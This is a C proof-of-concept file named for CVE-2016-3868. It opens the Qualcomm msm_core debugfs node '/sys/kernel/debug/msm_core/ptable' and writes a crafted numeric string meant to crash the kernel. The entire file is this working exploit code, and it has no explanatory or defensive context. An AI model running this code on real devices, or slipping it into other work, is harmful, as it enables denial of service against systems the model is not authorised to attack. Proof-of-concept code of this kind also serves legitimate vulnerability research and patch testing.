CVE-2016-3868.c

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <errno.h>

static const char *dev = "/sys/kernel/debug/msm_core/ptable";
static const char *crasher = "1 1 1 1 4702111234474983745";
int main(void)
{
	int fd;
	fd = open(dev, O_WRONLY);
	if (fd < 0) {
		printf("Failed to open %s with %s\n", dev, strerror(errno));
		return EXIT_FAILURE;
	}
	write(fd, crasher, strlen(crasher));
}